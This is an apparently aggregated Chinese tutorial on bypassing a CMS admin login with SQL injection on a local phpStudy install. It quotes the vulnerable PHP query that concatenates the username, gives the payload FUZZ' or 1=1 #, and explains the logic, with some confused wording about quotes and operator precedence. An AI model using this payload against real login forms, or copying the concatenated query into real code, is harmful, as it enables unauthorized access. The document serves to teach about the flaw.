前言:
如今大家对“php判断用户名是否正确”大致比较重视,朋友们都想要学习一些“php判断用户名是否正确”的相关资讯。那么小编在网络上搜集了一些关于“php判断用户名是否正确””的相关资讯,希望姐妹们能喜欢,兄弟们一起来学习一下吧!分析代码
在安装的cms数据库目录C:\phpStudy\WWW\cms\admin下找到login.action.php文件,查看第20行,发现如下php代码:
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'");if (!empty($user_row )) { setcookie (userid, $user_row ['userid'] ); header("Location: index.php");}else{ exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>");123456
这段代码先用select语句做了数据库的查询操作,查询用户输入的用户名和密码(密码做md5加密),然后将查询的结果给if语句做判断,如果根据用户名密码不为空且能查到userid,就登录成功;否则,输出**“用户名或密码不正确”**。
如果我们能使用一个万能用户名,使if语句的判断永远为真,那么用任意密码就能成功登录数据库。
原理
将找到的这段select语句
"select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'"1
去除php格式改写为
select userid from cms_users where username = 'admin' or '1'='1' and password='*****'1
或直接用#注释掉后面的语句
select userid from cms_users where username = 'FUZZ' or '1'='1' # and password='*****'
这段语句中有逻辑与和逻辑或,以第一种方法为例(第二种方法用# 直接注释了后面内容,admin是数据库中存在的用户名,为真),在逻辑运算中,一般先做与运算,再做或运算:
'1'='1' and password='*****' =false
'admin' or false = true
也就是说,这段代码如果由数据库中if语句判断,它的结果永远为true,这样就能实现用万能用户名登录数据库的目的。
实现
输入万能用户名和任意密码:
FUZZ' or 1=1 #****12
FUZZ后面的分号是为了让该用户名在username = '$username’语句中与前一个分号共同组成完整的字符,实现单引号的闭合,不能省略。
输入如下:
登录成功:
文章知识点与官方知识档案匹配,可进一步学习相关知识
标签: #php判断用户名是否正确